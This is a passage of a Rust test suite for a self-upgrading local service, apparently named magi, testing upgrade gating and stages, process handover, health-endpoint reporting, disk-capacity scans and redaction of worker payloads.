22383 auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22384 Skip(_)
22385 ));
22386 }
22387 assert_eq!(
22388 auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22389 Trigger
22390 );
22391 cfg.mode = UpdateMode::Off;
22392 assert!(matches!(
22393 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22394 Skip(_)
22395 ));
22396 }
22397
22398 #[test]
22399 fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22400 let home = TempDir::new().unwrap();
22401 let ui = idle_ui(&home);
22402 assert!(!ui.auto_upgrade_busy());
22403 let directory = home.path().join("workers/jobs/abcdef");
22404 std::fs::create_dir_all(&directory).unwrap();
22405 let mut job = crate::worker::Job {
22406 id: "abcdef".into(),
22407 sequence: 1,
22408 kind: "scheduler".into(),
22409 key: "scheduler".into(),
22410 payload: serde_json::json!({}),
22411 generation: "test".into(),
22412 version: None,
22413 status: crate::worker::Status::Running,
22414 result: None,
22415 pid: None,
22416 created_at: 0,
22417 finished_at: None,
22418 };
22419 let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22420 let write = |job: &crate::worker::Job| {
22421 std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22422 };
22423 write(&job);
22424 assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22425 for kind in ["task", "chat"] {
22426 job.kind = kind.into();
22427 write(&job);
22428 assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22429 }
22430 drop(lease);
22431 assert!(
22435 !ui.auto_upgrade_busy(),
22436 "completed execution permits updates"
22437 );
22438 std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22439 assert!(
22440 ui.auto_upgrade_busy(),
22441 "unreadable worker state defers updates"
22442 );
22443 }
22444
22445 fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22446 Box::pin(async { anyhow::bail!("test installer failed") })
22447 }
22448
22449 #[tokio::test]
22450 async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22451 let home = TempDir::new().unwrap();
22452 std::fs::write(
22453 home.path().join("magi.toml"),
22454 "[update]\nauto_restart = true\n",
22455 )
22456 .unwrap();
22457 let mut ui = idle_ui(&home);
22458 ui.repo = home.path().to_path_buf();
22459 ui.upgrade_runner = fail_test_upgrade;
22461 let ui = Arc::new(ui);
22462 let latest = || {
22463 Some(kaishin::LatestRelease {
22464 tag_name: "v999.0.0".into(),
22465 html_url: String::new(),
22466 })
22467 };
22468 ui.talk_turns.lock().unwrap().live.insert("busy".into());
22469 assert_eq!(
22470 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22471 .await
22472 .status(),
22473 StatusCode::NO_CONTENT
22474 );
22475 assert!(updater::read_progress(home.path()).is_none());
22476 ui.talk_turns.lock().unwrap().live.clear();
22477 let gate = ui.upgrade_gate.lock().await;
22478 assert_eq!(
22479 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22480 .await
22481 .status(),
22482 StatusCode::CONFLICT
22483 );
22484 drop(gate);
22485 assert_eq!(
22486 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22487 .await
22488 .status(),
22489 StatusCode::ACCEPTED
22490 );
22491 let progress = updater::read_progress(home.path()).unwrap();
22492 assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
22493 assert_eq!(progress.stage, updater::Stage::Downloading);
22494 assert!(progress.parked_run.is_none());
22495 assert!(ui.start_detached_loop().await.is_err());
22496 assert!(ui.start_loop(None).is_err());
22497 assert!(ui.begin_resume("late").is_err());
22498 tokio::time::timeout(Duration::from_secs(2), async {
22499 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22500 tokio::task::yield_now().await;
22501 }
22502 })
22503 .await
22504 .unwrap();
22505 let progress = updater::read_progress(home.path()).unwrap();
22506 assert_eq!(progress.stage, updater::Stage::Failed);
22507 assert_eq!(
22508 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22509 .await
22510 .status(),
22511 StatusCode::NO_CONTENT
22512 );
22513 let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22515 assert_eq!(
22516 finish_upgrade_request(&ui, result).status(),
22517 StatusCode::ACCEPTED
22518 );
22519 assert_eq!(
22520 updater::read_progress(home.path()).unwrap().trigger,
22521 updater::UpgradeTrigger::Manual
22522 );
22523 tokio::time::timeout(Duration::from_secs(2), async {
22524 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22525 tokio::task::yield_now().await;
22526 }
22527 })
22528 .await
22529 .unwrap();
22530 }
22531
22532 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22533 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22534 p.stage = stage;
22535 p
22536 }
22537
22538 #[test]
22539 fn busy_stages_match_the_ui_set() {
22540 use crate::updater::Stage;
22541 assert!(APP_JS.contains(
22542 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22543 ));
22544 for s in [
22545 Stage::Downloading,
22546 Stage::Replaced,
22547 Stage::Parking,
22548 Stage::Restarting,
22549 ] {
22550 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22551 }
22552 for s in [Stage::Done, Stage::Failed] {
22553 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22554 }
22555 assert!(upgrade_in_motion(None).is_none());
22556 }
22557
22558 #[tokio::test]
22559 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22560 use crate::updater::Stage;
22561 for stage in [
22562 Stage::Downloading,
22563 Stage::Replaced,
22564 Stage::Parking,
22565 Stage::Restarting,
22566 ] {
22567 let fx = Fixture::start().await;
22568 let seeded = seeded_progress(stage);
22569 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22570 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22571 .expect("read");
22572
22573 let res = fx.post("/api/upgrade", None).await;
22574 assert_eq!(res.status, 409, "{stage:?}");
22575 let err = res.json()["error"].as_str().unwrap().to_owned();
22576 assert!(err.contains("already in progress"), "{err}");
22577 assert!(err.contains(stage.as_str()), "{err}");
22578
22579 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22580 .expect("read");
22581 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22582 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22583 .unwrap_or_default();
22584 assert!(!log.contains("signalling HANDOVER"), "{log}");
22585 }
22586 }
22587
22588 #[test]
22589 fn upgrade_retry_timing_only_parses_known_diagnostics() {
22590 assert_eq!(
22591 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22592 Some(3723)
22593 );
22594 assert_eq!(
22595 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22596 Some(60)
22597 );
22598 assert_eq!(
22599 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22600 Some(0)
22601 );
22602 for message in [
22603 "permission denied",
22604 "GitHub API rate limit exceeded",
22605 "GitHub rate limit (resets in unknown)",
22606 "GitHub rate limit (resets in 18446744073709551615d)",
22607 ] {
22608 assert_eq!(upgrade_retry_after(message), None, "{message}");
22609 }
22610 }
22611
22612 #[tokio::test]
22613 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22614 let home = TempDir::new().unwrap();
22615 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22616 ui.start_loop(None).unwrap();
22617 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22618 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22619 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22620 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22621 let response = finish_upgrade_request(&ui, result);
22622 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22623 assert_eq!(response.headers()["retry-after"], "120");
22624 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22625 .await
22626 .unwrap();
22627 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22628 assert!(body["error"].as_str().unwrap().contains(reason));
22629 assert_eq!(body["retry_after_secs"], 120);
22630 assert!(body["retry_at"].as_u64().is_some());
22631 for _ in 0..2 {
22632 let view = health(State(ui.clone())).await.unwrap().0;
22633 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22634 assert_eq!(failure, body);
22635 }
22636 assert_eq!(
22637 std::fs::read(updater::progress_path(home.path())).unwrap(),
22638 before
22639 );
22640 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22641 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22642 let gate = ui.upgrade_gate.lock().await;
22644 assert_eq!(
22645 upgrade_post(State(ui.clone())).await.status(),
22646 StatusCode::CONFLICT
22647 );
22648 drop(gate);
22649 assert!(
22650 health(State(ui.clone()))
22651 .await
22652 .unwrap()
22653 .0
22654 .upgrade_request_error
22655 .is_some()
22656 );
22657 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22658 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22659 assert!(
22660 health(State(ui.clone()))
22661 .await
22662 .unwrap()
22663 .0
22664 .upgrade_request_error
22665 .is_none()
22666 );
22667 let live = ui.lock_loop().live.take().unwrap();
22668 live.stop.stop();
22669 live.handle.await.unwrap();
22670 }
22671
22672 #[tokio::test]
22673 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22674 use crate::updater::Stage;
22675 let repo = TempDir::new().expect("repo dir");
22676 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22677 .expect("write magi.toml");
22678 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22679 for stage in [Stage::Done, Stage::Failed] {
22680 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22681 let res = fx.post("/api/upgrade", None).await;
22682 assert_eq!(res.status, 200, "{stage:?}");
22683 }
22684 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22686 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22687 }
22688
22689 #[tokio::test]
22690 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22691 let repo = TempDir::new().expect("repo dir");
22707 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22708 .expect("write magi.toml");
22709 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22710
22711 let res = fx.post("/api/upgrade", None).await;
22717 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22718 let body = res.json();
22719 assert!(body["to"].is_null(), "there was no release to move to");
22720 assert!(body["parked"].is_null(), "and nothing was parked");
22721 assert!(
22722 body["detail"]
22723 .as_str()
22724 .unwrap()
22725 .contains("nothing restarted"),
22726 "{body:?}"
22727 );
22728 }
22729
22730 async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
22731 tokio::time::timeout(Duration::from_secs(5), async {
22732 while state.lock().unwrap().in_flight {
22733 tokio::task::yield_now().await;
22734 }
22735 })
22736 .await
22737 .expect("capacity scan finished");
22738 }
22739
22740 fn disk_test_scope(home: &FsPath) -> DiskScope {
22741 DiskScope {
22742 runs: home.join("runs"),
22743 worktrees: home.join("worktrees"),
22744 cache: Some(home.join("cache")),
22745 }
22746 }
22747
22748 fn known_disk_capacity() -> DiskCapacity {
22749 DiskCapacity {
22750 free_bytes: Some(100),
22751 runs_bytes: Some(200),
22752 worktrees_bytes: Some(300),
22753 cache_bytes: Some(400),
22754 }
22755 }
22756
22757 #[tokio::test]
22758 async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
22759 let home = TempDir::new().unwrap();
22760 std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
22761 let mut ui = delta_test_ui(home.path());
22762 let state = Arc::get_mut(&mut ui).unwrap();
22763 state.repo = home.path().to_owned();
22764 state.worktrees_root = home.path().join("worktrees");
22765 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
22766 ui.monitor
22767 .worker_started
22768 .store(true, std::sync::atomic::Ordering::SeqCst);
22769 let cfg = deputy_config(&ui.repo);
22770 let scope = DiskScope::of(&ui, cfg.as_ref());
22771 let (started, reached) = tokio::sync::oneshot::channel();
22772 let (release, blocked) = std::sync::mpsc::channel();
22773 let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
22774 started.send(()).unwrap();
22775 blocked.recv().unwrap();
22776 known_disk_capacity()
22777 });
22778 assert!(cold.runs_bytes.is_none());
22779 tokio::time::timeout(Duration::from_secs(5), reached)
22780 .await
22781 .unwrap()
22782 .unwrap();
22783
22784 let requests: Vec<_> = (0..4)
22785 .map(|_| {
22786 let ui = ui.clone();
22787 tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
22788 })
22789 .collect();
22790 tokio::time::timeout(Duration::from_secs(5), async {
22791 for request in requests {
22792 let view = request.await.unwrap();
22793 let disk = serde_json::to_value(view.disk).unwrap();
22794 assert!(disk["runs_bytes"].is_null());
22795 assert!(disk["worktrees_bytes"].is_null());
22796 assert!(disk["free_bytes"].is_u64());
22799 }
22800 })
22801 .await
22802 .expect("health must return while the measurement is causally blocked");
22803 assert!(ui.monitor.disk.lock().unwrap().in_flight);
22804 assert!(
22806 ui.monitor
22807 .disk
22808 .lock()
22809 .unwrap()
22810 .capacity
22811 .runs_bytes
22812 .is_none()
22813 );
22814 release.send(()).unwrap();
22815 wait_for_disk_scan(&ui.monitor.disk).await;
22816 assert_eq!(
22817 ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
22818 Some(200)
22819 );
22820 }
22821
22822 #[tokio::test]
22823 async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
22824 let home = TempDir::new().unwrap();
22825 let scope = disk_test_scope(home.path());
22826 let state = Arc::new(Mutex::new(DiskObservation {
22827 scope: Some(scope.clone()),
22828 capacity: known_disk_capacity(),
22829 finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
22830 ..Default::default()
22831 }));
22832 let (started, reached) = tokio::sync::oneshot::channel();
22833 let (release, blocked) = std::sync::mpsc::channel();
22834 let before = DiskObservation::observe(&state, scope.clone(), move |_| {
22835 started.send(()).unwrap();
22836 blocked.recv().unwrap();
22837 DiskCapacity {
22838 runs_bytes: Some(250),
22839 ..Default::default()
22840 }
22841 });
22842 assert_eq!(before.cache_bytes, Some(400));
22843 tokio::time::timeout(Duration::from_secs(5), reached)
22844 .await
22845 .unwrap()
22846 .unwrap();
22847 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22848 for _ in 0..4 {
22849 let scans = duplicate_scans.clone();
22850 let during = DiskObservation::observe(&state, scope.clone(), move |_| {
22851 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22852 DiskCapacity::default()
22853 });
22854 assert_eq!(during.runs_bytes, Some(200));
22855 assert_eq!(during.cache_bytes, Some(400));
22856 }
22857 release.send(()).unwrap();
22858 wait_for_disk_scan(&state).await;
22859 let scans = duplicate_scans.clone();
22860 let after = DiskObservation::observe(&state, scope, move |_| {
22861 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22862 DiskCapacity::default()
22863 });
22864 wait_for_disk_scan(&state).await;
22865 assert_eq!(after.runs_bytes, Some(250));
22866 assert_eq!(after.free_bytes, Some(100));
22867 assert_eq!(after.cache_bytes, Some(400));
22868 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22869 assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
22870 }
22871
22872 #[tokio::test]
22873 async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
22874 let home = TempDir::new().unwrap();
22875 let old_scope = disk_test_scope(home.path());
22876 let mut new_scope = old_scope.clone();
22877 new_scope.cache = Some(home.path().join("replacement-cache"));
22878 let state = Arc::new(Mutex::new(DiskObservation {
22879 scope: Some(old_scope.clone()),
22880 capacity: known_disk_capacity(),
22881 ..Default::default()
22882 }));
22883 let (started, reached) = tokio::sync::oneshot::channel();
22884 let (release, blocked) = std::sync::mpsc::channel();
22885 DiskObservation::observe(&state, old_scope, move |_| {
22886 started.send(()).unwrap();
22887 blocked.recv().unwrap();
22888 known_disk_capacity()
22889 });
22890 tokio::time::timeout(Duration::from_secs(5), reached)
22891 .await
22892 .unwrap()
22893 .unwrap();
22894 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22895 let scans = duplicate_scans.clone();
22896 let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
22897 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22898 DiskCapacity::default()
22899 });
22900 assert!(changed.cache_bytes.is_none());
22901 assert!(changed.runs_bytes.is_none());
22902 release.send(()).unwrap();
22903 wait_for_disk_scan(&state).await;
22904 {
22905 let observation = state.lock().unwrap();
22906 assert!(observation.capacity.cache_bytes.is_none());
22907 assert!(observation.finished.is_none());
22908 }
22909 DiskObservation::observe(&state, new_scope.clone(), move |scope| {
22910 assert_eq!(scope, &new_scope);
22911 DiskCapacity {
22912 cache_bytes: Some(999),
22913 ..Default::default()
22914 }
22915 });
22916 wait_for_disk_scan(&state).await;
22917 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
22918 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22919 }
22920
22921 #[tokio::test]
22922 async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
22923 let home = TempDir::new().unwrap();
22924 let scope = disk_test_scope(home.path());
22925 let state = Arc::new(Mutex::new(DiskObservation {
22926 scope: Some(scope.clone()),
22927 capacity: known_disk_capacity(),
22928 ..Default::default()
22929 }));
22930 DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
22931 wait_for_disk_scan(&state).await;
22932 {
22933 let mut observation = state.lock().unwrap();
22934 assert_eq!(observation.capacity.cache_bytes, Some(400));
22935 assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
22936 observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
22937 }
22938 DiskObservation::observe(&state, scope, |_| DiskCapacity {
22939 cache_bytes: Some(450),
22940 ..Default::default()
22941 });
22942 wait_for_disk_scan(&state).await;
22943 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
22944 }
22945
22946 #[test]
22947 fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
22948 let home = TempDir::new().unwrap();
22949 assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
22950 assert_eq!(disk_capacity_size(home.path()), Some(0));
22951 std::fs::create_dir(home.path().join("nested")).unwrap();
22952 std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
22953 assert_eq!(disk_capacity_size(home.path()), Some(5));
22954 #[cfg(unix)]
22955 {
22956 assert_eq!(
22958 disk_capacity_size(&home.path().join("nested/data/child")),
22959 None
22960 );
22961 }
22962 #[cfg(unix)]
22963 {
22964 std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
22965 assert_eq!(disk_capacity_size(home.path()), Some(5));
22966 }
22967 }
22968
22969 #[tokio::test]
22970 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
22971 let repo = TempDir::new().expect("repo dir");
22976 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22977 .expect("write magi.toml");
22978 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22979
22980 let health = fx.get("/api/health").await.json();
22981 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
22982 assert_eq!(
22983 health["update"]["available"], false,
22984 "checking is off, which reads as \"unknown\", not \"none\""
22985 );
22986 assert!(health["update"]["to"].is_null());
22987 assert!(
22988 health["upgrade"].is_null(),
22989 "nothing has ever asked this deck to upgrade"
22990 );
22991 }
22992
22993 #[tokio::test]
22994 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
22995 let fx = Fixture::start().await;
22996 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
22997
22998 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22999 progress.parked_run = Some("20260905-000000-cd51".to_owned());
23000 progress.advance(crate::updater::Stage::Parking);
23001 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23002
23003 let health = fx.get("/api/health").await.json();
23004 assert_eq!(health["upgrade"]["stage"], "parking");
23005 assert_eq!(health["upgrade"]["from"], "0.5.1");
23006 assert_eq!(health["upgrade"]["to"], "0.5.2");
23007 let waiting_on = health["upgrade"]["waiting_on"]
23008 .as_str()
23009 .expect("waiting_on is set while parking a known run");
23010 assert!(waiting_on.contains("cd51"), "{waiting_on}");
23011 assert!(waiting_on.contains("implementing"), "{waiting_on}");
23012 }
23013
23014 #[tokio::test]
23015 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
23016 let fx = Fixture::start().await;
23017 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23018 progress.advance(crate::updater::Stage::Done);
23019 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23020
23021 let health = fx.get("/api/health").await.json();
23022 assert_eq!(health["upgrade"]["stage"], "done");
23023 assert!(
23024 health["upgrade"]["waiting_on"].is_null(),
23025 "nothing to wait on once it is done"
23026 );
23027 }
23028
23029 #[tokio::test]
23032 async fn the_handover_signal_wakes_one_waiter_once() {
23033 let signal = Notify::new();
23034 signal.notify_one();
23036 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
23037 .await
23038 .expect("an early signal is still seen");
23039 assert!(
23041 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
23042 .await
23043 .is_err(),
23044 "a consumed signal must not wake a second time"
23045 );
23046 let signal = std::sync::Arc::new(signal);
23048 let waiter = tokio::spawn({
23049 let signal = std::sync::Arc::clone(&signal);
23050 async move { wait_for_handover(&signal).await }
23051 });
23052 tokio::time::sleep(Duration::from_millis(20)).await;
23053 assert!(!waiter.is_finished(), "nothing was signalled yet");
23054 signal.notify_one();
23055 tokio::time::timeout(Duration::from_secs(5), waiter)
23056 .await
23057 .expect("a late signal wakes the waiter")
23058 .expect("join");
23059 }
23060
23061 #[tokio::test]
23062 async fn health_says_how_long_a_handover_has_been_stuck() {
23063 let fx = Fixture::start().await;
23064 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23065 progress.advance(crate::updater::Stage::Replaced);
23066 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
23067 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23068
23069 let health = fx.get("/api/health").await.json();
23070 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
23071 assert!(stuck >= 600, "{stuck}");
23072 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
23073 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
23074 }
23075
23076 #[tokio::test]
23077 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
23078 let home = tempfile::tempdir().expect("temp home");
23079 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23080 progress.advance(crate::updater::Stage::Parking);
23081 crate::updater::write_progress(home.path(), &progress).expect("seed");
23082 let mut again = progress.clone();
23084 again.advance(crate::updater::Stage::Replaced);
23085 crate::updater::write_progress(home.path(), &again).expect("replaced");
23086 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23087 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
23088 let after = crate::updater::read_progress(home.path()).expect("record");
23089 assert_eq!(after.stage, crate::updater::Stage::Parking);
23090 }
23091
23092 #[tokio::test]
23093 async fn health_does_not_call_a_live_parking_wait_stuck() {
23094 let fx = Fixture::start().await;
23095 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23096 progress.parked_run = Some("20260905-000000-cd51".to_owned());
23097 progress.advance(crate::updater::Stage::Parking);
23098 let hours = Duration::from_secs(3 * 3600);
23099 progress.started_at = Timestamp::now() - hours;
23100 progress.updated_at = Timestamp::now() - hours;
23101 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23102 let _lease = crate::updater::LeaseGuard::enter(
23103 fx.home.path(),
23104 Some("20260905-000000-cd51".to_owned()),
23105 );
23106
23107 let health = fx.get("/api/health").await.json();
23108 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
23109 assert!(health["upgrade"]["stuck_kind"].is_null());
23110 assert_eq!(health["upgrade"]["handover_alive"], true);
23111 let waiting_on = health["upgrade"]["waiting_on"]
23112 .as_str()
23113 .expect("waiting_on");
23114 assert!(waiting_on.contains("cd51"), "{waiting_on}");
23115 }
23116
23117 fn idle_ui(home: &TempDir) -> Ui {
23118 let runs = home.path().join("runs");
23119 std::fs::create_dir_all(&runs).expect("runs dir");
23120 Ui::new(
23121 Queue::at(home.path().join("queue")),
23122 Questions::at(home.path().join("questions")),
23123 Talks::at(home.path().join("talks")),
23124 runs,
23125 home.path().to_path_buf(),
23126 PathBuf::from("/repo/magi"),
23127 )
23128 .with_launch(launch_idle)
23129 }
23130
23131 #[tokio::test]
23132 async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
23133 let home = TempDir::new().expect("temp home");
23134 let ui = idle_ui(&home);
23135 let lease = crate::worker::try_lease(home.path(), "scheduler")
23136 .expect("scheduler lease")
23137 .expect("free");
23138 crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
23139 .expect("request stop");
23140 let error = ui
23141 .start_detached_loop()
23142 .await
23143 .expect_err("transition is still live");
23144 assert_eq!(error.status, StatusCode::CONFLICT);
23145 assert!(error.message.contains("still running or stopping"));
23146 assert_eq!(
23147 crate::worker::control(home.path(), "scheduler").unwrap(),
23148 Some(crate::worker::Control::Stop)
23149 );
23150 drop(lease);
23151 }
23152
23153 #[tokio::test]
23154 async fn handover_releases_listener_without_waiting_for_execution_leases() {
23155 let home = TempDir::new().expect("temp home");
23156 let ui = idle_ui(&home);
23157 let turns = ui
23158 .begin_talk_turn("active-chat")
23159 .expect("claim")
23160 .expect("free");
23161 let execution = crate::worker::try_lease(home.path(), "active-task")
23162 .expect("execution lease")
23163 .expect("free");
23164 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23165 .await
23166 .expect("bind loopback");
23167 let address = listener.local_addr().expect("address");
23168 let admissions = Arc::clone(&ui.admissions);
23169 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
23170 let successor_started = std::sync::atomic::AtomicBool::new(false);
23171 tokio::time::timeout(
23172 Duration::from_secs(2),
23173 hand_over(home.path(), &admissions, served, || {
23174 successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
23175 Ok(1)
23176 }),
23177 )
23178 .await
23179 .expect("restart must not wait for execution")
23180 .expect("handover");
23181 assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
23182 let successor = bind_waiting(address)
23185 .await
23186 .expect("successor binds released address");
23187 assert_eq!(successor.local_addr().unwrap(), address);
23188 assert!(turns.owns(), "the chat lease survives restart");
23189 assert!(
23190 crate::worker::try_lease(home.path(), "active-task")
23191 .unwrap()
23192 .is_none()
23193 );
23194 drop(execution);
23195 drop(turns);
23196 }
23197
23198 #[tokio::test]
23199 async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
23200 let home = TempDir::new().expect("temp home");
23201 let ui = idle_ui(&home);
23202 let admission = ui.begin_admission().expect("admit send");
23203 let turn = ui
23204 .begin_talk_turn("active-chat")
23205 .expect("claim")
23206 .expect("free");
23207 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23208 .await
23209 .expect("bind loopback");
23210 let address = listener.local_addr().expect("address");
23211 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
23212 let successor_called = std::sync::atomic::AtomicBool::new(false);
23213 let handover = hand_over(home.path(), &ui.admissions, served, || {
23214 successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
23215 Ok(1)
23216 });
23217 tokio::pin!(handover);
23218 std::future::poll_fn(|cx| {
23221 assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
23222 std::task::Poll::Ready(())
23223 })
23224 .await;
23225 assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
23226 assert!(
23227 ui.begin_admission().is_err(),
23228 "new ingress cannot race the drain"
23229 );
23230 assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
23231 drop(admission);
23232 tokio::time::timeout(Duration::from_secs(2), handover)
23233 .await
23234 .expect("only publication may delay restart")
23235 .expect("handover");
23236 assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
23237 assert!(
23238 turn.owns(),
23239 "the detached chat turn is not awaited or cancelled"
23240 );
23241 assert!(
23242 ui.begin_admission().is_err(),
23243 "old accepted connections stay closed"
23244 );
23245 drop(turn);
23246 }
23247
23248 #[test]
23249 fn health_worker_metadata_never_contains_payload_or_result() {
23250 let view = WorkerView::from(crate::worker::Job {
23251 id: "job".into(),
23252 sequence: 1,
23253 kind: "service".into(),
23254 key: "maintenance".into(),
23255 payload: serde_json::json!({"env": {"TOKEN": "private"}}),
23256 generation: "generation".into(),
23257 version: Some("1.2.3".into()),
23258 status: crate::worker::Status::Running,
23259 result: Some("private diagnostics".into()),
23260 pid: Some(4242),
23261 created_at: 1,
